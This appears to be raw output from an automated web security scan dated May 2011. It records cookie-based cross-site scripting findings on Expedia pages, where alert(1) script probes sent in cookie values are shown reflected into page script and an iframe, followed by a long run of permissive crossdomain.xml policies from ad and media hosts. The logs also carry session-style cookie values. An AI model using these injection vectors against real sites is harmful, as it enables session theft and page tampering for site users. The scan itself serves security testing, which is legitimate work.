Date: Sat, 07 May 2011 01:21:38 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.3.3
P3P: "policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM"
Content-Length: 1368

           <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
           <html>
           <head>
           <meta http-equiv="Content-type" content="text/html;charset=UTF-8">

...[SNIP]...
<div style='display:none'>clicookie:CspT702sdV9LL0aNgCmJAg==76c83<script>alert(1)</script>87b9dc254bf
userid:
</div>
...[SNIP]...

GET /app/answers/list/ HTTP/1.1
Host: support.expedia.com
Proxy-Connection: keep-alive
Referer: http://support.expedia.com/app/home/uurl/http%3A%2F%2Fwww.expedia.com%2Fpub%2Fagent.dll%3Fqscr%3Dflex%26subm%3D1%26city%3DAUS%26citd%3DDTW%26date1%3D%26mnth%3D5%2F1%2F2011%26rgst%3D1%26rged%3D10%26fxst%3D0%26load%3D1%26cAdu%3D1%26rfrr%3D-429%3F
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B3e0a7"%3balert(1)//dcdeca00260; COOKIECHECK=1; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; s1=`user=v.8,0,EX01528414FE$F4$B5202000X$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$EDIs$A8$FB$27$95$E4$82$AB$89$FB!e02000`131; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819496`188; cp_session=UylSJgVxACRUPAJyAGoEaQRCDBEAA1FsA3EJOlZ2AngBcwR4ACYFPAF7WS1QIlIhACADPQd2VW4AJgM5ASBUdARyXyIBMAUSBHEIMwZEBCJTYFJCBXUAcVRxAn4ANgR9BHAMOwAxUWwDZAl%2FVjcCOwE8BCgANgVAAXBZelA1UnEAYAMXBzVVMwBhAz8BIFQuBGZfawFvBXYEZwhHBnMEdFMxUnYFJwA1VEICNgA%2FBGAEeAx7AGdRMwN2CSRWNgI5AXQEPgBABTcBJVk9UGFSNwA7AyUHLVVxADcDFQEVVFUEUV8iATEFZQQ3CGgGdgRjU3dSNwVGAEJUUgIHAHYENwQ2DDoANFFxA2AJYFZxAmcBFQQoADYFMAFtWWFQI1I8AHcDYgcQVWEAIQNjARJUMQQnXzUBRQVhBGQIMAYzBCJTYFIyBXAAYVR1AiQAdgQ2BEQMbwBwUTcDMwkjVjMCMQE1BCgANwVCATFZP1ByUmYAZAM3ByxVJwBwA3QBZ1REBDJfIgExBWUEOAhuBmMEY1N3UjcFRgA3VCMCYgBlBGYEQQw6ACBRIAM2CRVWZQJxAWMEOwB2BWABcll9UHJSZwAWA3wHYFVmAD0DdAFnVEYEIF96AS8FcQQxCCMGOAQlUw5SKwVxAGNUdQIjADoEagRuDAIAelFJAzYJH1YkAg4BEgQ1ADEFZAFFWUVQB1ICAD8DPQdkVTUAcwNsAWlUIgR%2F; supportsurvey=1; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3DundefinedtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%2526function%2520%2528%2529%257Bvar%2520a%253D%255B%2522%257B%2522%255D%252Cb%252Ck%252Cv%253Bfunction%2520p%2528s%2529%257Bif%2528b%2529%257Ba.push%2528%2522%252C%2522%2529%253B%257D%250Aa.push%2528k.toJSONString%2528%2529%252C%2522%253A%2522%252Cs%2529%253Bb%253Dtrue%253B%257D%250Afor%2528k%2520in%2520this%2529%257Bif%2528this.hasOwnProperty%2528k%2529%2529%257Bv%253Dthis%255Bk%255D%253Bswitch%2528typeof%2520v%2529%257Bcase%2522object%2522%253Aif%2528v%2529%257Bif%2528typeof%2520v.toJSONString%253D%253D%253D%2522function%2522%2529%257Bp%2528v.toJSONString%2528%2529%2529%253B%257D%257Delse%257Bp%2528%2522null%2522%2529%253B%257D%250Abreak%253Bcase%2522string%2522%253Acase%2522number%2522%253Acase%2522boolean%2522%253Ap%2528v.toJSONString%2528%2529%2529%253B%257D%257D%257D%250Aa.push%2528%2522%257D%2522%2529%253Breturn%2520a.join%2528%2522%2522%2529%253B%257D%253DtoJSONString%3B

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:42:29 GMT
Server: Apache
P3P: policyref="http://support.expedia.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
Set-Cookie: cp_session=Vy0FcVYiAiZVPQNzUjgDblMVUE1XVFVoBHZcbwQkUSsFdwV5UXcEPQN5BXFWJAZ1U3NSbFQlBT4EIlBqVndQcFYgDnMNPAIVAncAOwBCAiRXZAUVViYCc1VwA39SZAN6UydQZ1dmVWgEY1wqBGVRaAU4BSlRZwRBA3IFJlYzBiVTM1JGVGYFYwRlUGxWd1AqVjQOOg1jAnECYQBPAHUCclc1BSFWdAI3VUMDN1JtA2dTL1AnVzBVNwRxXHEEZFFqBXAFP1ERBDYDJwVhVmcGY1NoUnRUfgUhBDNQRlZCUFFWAw5zDT0CYgIxAGAAcAJlV3MFYFYVAkBVUwMGUiQDMFNhUGZXY1V1BGdcNQQjUTQFEQUpUWcEMQNvBT1WJQZoUyRSM1RDBTEEJVAwVkVQNVZ1DmQNSQJmAmIAOAA1AiRXZAVlViMCY1V0AyVSJAMxUxNQM1cnVTMENFx2BGFRYgUxBSlRZgRDAzMFY1Z0BjJTN1JmVH8FdwR0UCdWMFBAVmAOcw09AmICPgBmAGUCZVdzBWBWFQI1VSIDY1I3A2FTFlBmV3dVJAQxXEAEN1EiBWcFOlEnBGEDcAUhVnQGM1NFUi1UMwU2BDlQJ1YwUEJWcg4rDSMCdgI3ACsAPgIjVwoFfFYiAmFVdAMiUmgDbVM5UF5XLVVNBDFcSgR2UV0FFgU0UWAEZQNHBRlWAQZWU2xSbFQ3BWUEd1A%2FVj5QJlYt; path=/
RNT-Time: D=341324 t=1304721749948953
RNT-Machine: 08
Vary: Accept-Encoding
X-Cnection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 95330

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:rn="http://schemas.rightn
...[SNIP]...
upport:Search Results";
var s_pageNameOrig = s_pageName;
s_server = "www.support.expedia.com";
s_channel = "FAQ Support";
s_prop1 = "";
s_prop11 = "";
s_prop12 = "80312807C795402E93C5016D2A2A3E1B3e0a7";alert(1)//dcdeca00260";
s_account = "expedia1";
s_exp_account = s_account;
s_pageType = "";
s_hier1 = "HTX," + s_channel;
s_purchaseID = "";
s_products = "";
s_events = "";
s_currencyCode="";
s_eVar17= "FAQ Support
...[SNIP]...

GET /app/home/uurl/http%3A%2F%2Fwww.expedia.com%2Fpub%2Fagent.dll%3Fqscr%3Dflex%26subm%3D1%26city%3DAUS%26citd%3DDTW%26date1%3D%26mnth%3D5%2F1%2F2011%26rgst%3D1%26rged%3D10%26fxst%3D0%26load%3D1%26cAdu%3D1%26rfrr%3D-429%3F HTTP/1.1
Host: support.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=&mnth=5/1/2011&rgst=1&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1Bc2c96"%3balert(1)//1715fb887f2; COOKIECHECK=1; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; s1=`user=v.8,0,EX01528414FE$F4$B5202000X$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$EDIs$A8$FB$27$95$E4$82$AB$89$FB!e02000`131; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819496`188; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_FLTFLEX_CALENDAR%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/daily/service/default.asp%252526ot%25253DA%3B

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:42:02 GMT
Server: Apache
P3P: policyref="http://support.expedia.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
Set-Cookie: cp_session=BX9TJwx4AycAaFAgUUgBRVMTBDBTUVxhVCYLOFBwA3lVJwR4AiQNNFAqAnZSIFYlUnJTbQNyAzhQdldtXH0BIVYgDHENPAIVBnMGPVETUnQFNlNDDHwDcgAlUCxRZwF4UycEM1NiXGFUMwt9UDEDOlVoBCgCNA1IUCECIVI3VnVSMlNHAzEDZVAxV2tcfQF7VjQMOA1jAnEGZQZJUSRSIgVnU3cMLgM2ABZQZFFuAWVTLwRzUzRcPlQhCyZQMAM4VSAEPgJCDT9QdAJmUmNWM1JpU3UDKQMnUGdXQVxIAQBWAwxxDT0CYgY1BmZRIVI1BSFTNgxPA0EABlBVUScBMlNhBDJTZ1x8VDcLYlB3A2ZVQQQoAjQNOFA8AjpSIVY4UiVTMgMUAzdQcVc3XE8BZFZ1DGYNSQJmBmYGPlFkUnQFNlMzDHkDYgAhUHZRJwEzUxMEZ1MjXDpUZAshUDUDMFVhBCgCNQ1KUGACZFJwVmJSNlNnAygDcVAgVyBcOgERVmAMcQ09AmIGOgZgUTRSNQUhUzYMTwM0AHdQMFE0AWNTFgQyU3NcLVRhCxdQYwNwVTcEOwJ0DWhQIwImUnBWY1JEUywDZAMwUG1XIFw6ARNWcgwpDSMCdgYzBi1Rb1JzBVhTKgx4A2AAIVBxUWsBb1M5BApTKVxEVGELHVAiAw9VRgQ0Ak0NXFAEAgZSOFYGUjJTbQNgA2NQI1c4XDQBd1Yt; path=/
Set-Cookie: supportsurvey=1; expires=Fri, 13-May-2011 22:42:03 GMT; path=/; domain=support.expedia.com
RNT-Time: D=486064 t=1304721722848302
RNT-Machine: 04
Vary: Accept-Encoding
X-Cnection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 89132

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:rn="http://schemas.rightn
...[SNIP]...
= "FAQ Support:Launch";
var s_pageNameOrig = s_pageName;
s_server = "www.support.expedia.com";
s_channel = "FAQ Support";
s_prop1 = "";
s_prop11 = "";
s_prop12 = "80312807C795402E93C5016D2A2A3E1Bc2c96";alert(1)//1715fb887f2";
s_account = "expedia1";
s_exp_account = s_account;
s_pageType = "";
s_hier1 = "HTX," + s_channel;
s_purchaseID = "";
s_products = "";
s_events = "";
s_currencyCode="";
s_eVar17= "FAQ Support
...[SNIP]...

GET /default.asp HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11; ipsnf3=v.3|US|1|511|washington; MC1=9b6b0"><script>alert(1)</script>d8dba5a2447; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Cteonnt-Length: 68427
Content-Type: text/html; Charset=iso-8859-1
Cache-Control: private
Date: Fri, 06 May 2011 22:34:24 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 68427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<COMMENT TITLE="MO
...[SNIP]...
<iframe src="http://fls.doubleclick.net/activityi;src=2588783;type=nausc547;cat=naush134;u=9b6b0"><script>alert(1)</script>d8dba5a2447;ord=2733880877494.81?" width="1" height="1" frameborder="0" style="position:absolute;">
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: a.collective-media.net

HTTP/1.0 200 OK
Server: nginx/0.8.53
Content-Type: text/plain
Content-Length: 187
Last-Modified: Tue, 31 Aug 2010 17:41:28 GMT
Accept-Ranges: bytes
Date: Sat, 07 May 2011 01:50:39 GMT
Connection: close
Set-Cookie: JY57=CT; expires=Sat, 04-Jun-2011 01:50:39 GMT; path=/; domain=.collective-media.net
P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"

<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="true"/>
</cross-domain-policy>

GET /crossdomain.xml HTTP/1.0
Host: a.rad.msn.com

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: text/xml
Last-Modified: Thu, 14 Apr 2011 22:28:48 GMT
Accept-Ranges: bytes
ETag: "0d09952f3facb1:0"
Server: Microsoft-IIS/7.5
P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
Access-Control-Allow-Origin: *
Date: Fri, 06 May 2011 20:28:07 GMT
Connection: keep-alive
Content-Length: 202

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: ad.doubleclick.net

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 258
Last-Modified: Thu, 18 Sep 2003 20:42:14 GMT
Date: Fri, 06 May 2011 21:50:02 GMT

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>

...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: adsfac.us

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Tue, 30 Sep 2008 00:31:21 GMT
Accept-Ranges: bytes
ETag: "0291dc9322c91:0"
Server: Microsoft-IIS/7.0
P3P: CP="NOI DSP COR NID CUR OUR NOR"
Date: Sat, 07 May 2011 01:50:17 GMT
Connection: close
Content-Length: 125

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" secure="true" />
</cross-domain-policy>

GET /crossdomain.xml HTTP/1.0
Host: altfarm.mediaplex.com

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"204-1289502469000"
Last-Modified: Thu, 11 Nov 2010 19:07:49 GMT
Content-Type: text/xml
Content-Length: 204
Date: Fri, 06 May 2011 21:50:13 GMT
Connection: keep-alive

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-poli
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: api.facebook.com

HTTP/1.0 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=2592000
Content-Type: application/xml
Expires: Sun, 05 Jun 2011 21:06:48 GMT
X-FB-Server: 10.32.16.127
Connection: close
Content-Length: 280

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<site-
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: apps.sapha.com

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:05:43 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Sat, 13 Jun 2009 07:57:06 GMT
ETag: "d30807e-140-2bd11880"
Accept-Ranges: bytes
Content-Length: 320
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: as.casalemedia.com

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Fri, 25 Feb 2011 02:23:31 GMT
ETag: "17b0daf-e6-41faec0"
Accept-Ranges: bytes
Content-Length: 230
Content-Type: text/xml
Expires: Fri, 06 May 2011 20:28:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 06 May 2011 20:28:10 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<allow-access-from domain="*" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: b.rad.msn.com

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: text/xml
Last-Modified: Thu, 14 Apr 2011 22:28:48 GMT
Accept-Ranges: bytes
ETag: "0d09952f3facb1:0"
Server: Microsoft-IIS/7.5
P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
Access-Control-Allow-Origin: *
Date: Fri, 06 May 2011 20:28:07 GMT
Connection: keep-alive
Content-Length: 202

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: bh.contextweb.com

HTTP/1.1 200 OK
Server: Sun GlassFish Enterprise Server v2.1
ETag: W/"384-1279190954000"
Last-Modified: Thu, 15 Jul 2010 10:49:14 GMT
Content-Type: application/xml
Content-Length: 384
Date: Fri, 06 May 2011 22:33:36 GMT
Connection: Keep-Alive
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-contro
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: c.scout.com

HTTP/1.1 200 OK
Cache-Control: private, no-cache, proxy-revalidate
Pragma: no-cache
Content-Type: text/xml
Last-Modified: Fri, 05 Nov 2010 18:44:56 GMT
Accept-Ranges: bytes
ETag: "044698a197dcb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
Date: Fri, 06 May 2011 19:29:07 GMT
Connection: keep-alive
Content-Length: 109

<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

GET /crossdomain.xml HTTP/1.0
Host: cdn-cms.scout.com

HTTP/1.0 200 OK
Content-Type: text/xml
Content-Location: http://cdn-cms.scout.com/crossdomain.xml
Last-Modified: Thu, 19 Aug 2010 20:24:22 GMT
ETag: "01f3482dc3fcb1:67b"
Server: Microsoft-IIS/6.0
Server: Scoutweb10
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 19:29:03 GMT
Content-Length: 222
Connection: close
Akamai: True

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />

...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: cdn.eyewonder.com

HTTP/1.0 200 OK
Cache-Control: max-age=18000
Content-Type: text/xml
Accept-Ranges: bytes
ETag: "b2ae8e693141c91:139e"
Server: Microsoft-IIS/6.0
p3p: policyref="/100125/w3c/p3p.xml", CP="NOI DSP LAW NID PSA OUR IND NAV STA COM"
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 19:31:59 GMT
Last-Modified: Fri, 07 Nov 2008 23:34:43 GMT
Expires: Sat, 07 May 2011 00:31:59 GMT
Content-Length: 195
Connection: close

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="*" />
<site-control permitted-cross-domain-policies="all"/>
</cross-domain-policy>

GET /crossdomain.xml HTTP/1.0
Host: cdn.gigya.com

HTTP/1.0 200 OK
Content-Length: 355
Content-Type: text/xml
Last-Modified: Thu, 31 Mar 2011 14:23:28 GMT
Accept-Ranges: bytes
Server: Microsoft-IIS/6.0
x-server: web102
P3P: CP="IDC COR PSA DEV ADM OUR IND ONL"
X-Powered-By: ASP.NET
Cache-Control: max-age=86400
Date: Sat, 07 May 2011 01:57:55 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="mas
...[SNIP]...
<allow-access-from domain="*" to-ports="80" />
...[SNIP]...
<allow-access-from domain="*" to-ports="443" secure="false" />
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: clk.atdmt.com

HTTP/1.1 200 OK
Content-Length: 207
Content-Type: image/gif
Date: Sat, 07 May 2011 01:22:04 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: cu1.activalive.com

HTTP/1.1 200 OK
Content-Type: application/xml
Connection: close
Content-Length: 272

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<site-control
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: d.xp1.ru4.com

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Fri, 06 May 2011 22:33:37 GMT
P3p: policyref="/w3c/p3p.xml", CP="NON DSP COR PSAa OUR STP UNI"
Content-type: text/xml
Last-modified: Mon, 22 Nov 2010 21:31:41 GMT
Content-length: 202
Etag: "ca-4ceae13d"
Accept-ranges: bytes
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: depot.activalive.com

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:18:17 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 26 Apr 2010 17:55:31 GMT
ETag: "1a40b74-98-485277b9dcac0"
Accept-Ranges: bytes
Content-Length: 152
Connection: close
Content-Type: text/xml

<cross-domain-policy><allow-access-from domain="www.activalive.com" to-ports="*" /><allow-access-from domain="*" to-ports="80" /></cross-domain-policy>

GET /crossdomain.xml HTTP/1.0
Host: fls.doubleclick.net

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy
Last-Modified: Sun, 01 Feb 2009 08:00:00 GMT
Date: Fri, 06 May 2011 02:37:40 GMT
Expires: Sat, 30 Apr 2011 02:36:16 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Age: 71756
Cache-Control: public, max-age=86400

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: haymarketbusinesspublications.122.2o7.net

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:50:03 GMT
Server: Omniture DC/2.0.0
xserver: www260
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<allow-http-request-headers-from domain="*" headers="*" secure="false" />
</cross-domain-policy>

GET /crossdomain.xml HTTP/1.0
Host: ib.adnxs.com

HTTP/1.0 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Sat, 07-May-2011 21:06:49 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/xml

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><site-control permitted-cross-domain-policies="master-only"
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

GET /crossdomain.xml HTTP/1.0
Host: img.mediaplex.com

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 21:50:15 GMT
Server: Apache
Last-Modified: Fri, 19 Dec 2008 21:38:40 GMT
ETag: "1b1f-c7-45e6d21e5d800"
Accept-Ranges: bytes
Content-Length: 199
Keep-Alive: timeout=5
Connection: Keep-Alive
Content-Type: text/x-cross-domain-policy

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

GET /crossdomain.xml HTTP/1.0
Host: img.widgets.video.s-msn.com

HTTP/1.0 200 OK
Cache-Control: max-age=86400
Content-Type: text/xml
Accept-Ranges: bytes
ETag: "0514ecae5f2cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 170
Age: 83571
Date: Fri, 06 May 2011 19:30:36 GMT
Last-Modified: Mon, 04 Apr 2011 16:31:46 GMT
Expires: Fri, 06 May 2011 20:17:45 GMT
Connection: close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*"/>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>

GET /crossdomain.xml HTTP/1.0
Host: int.teracent.net

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"373-1302740221000"
Last-Modified: Thu, 14 Apr 2011 00:17:01 GMT
Content-Type: application/xml
Content-Length: 373
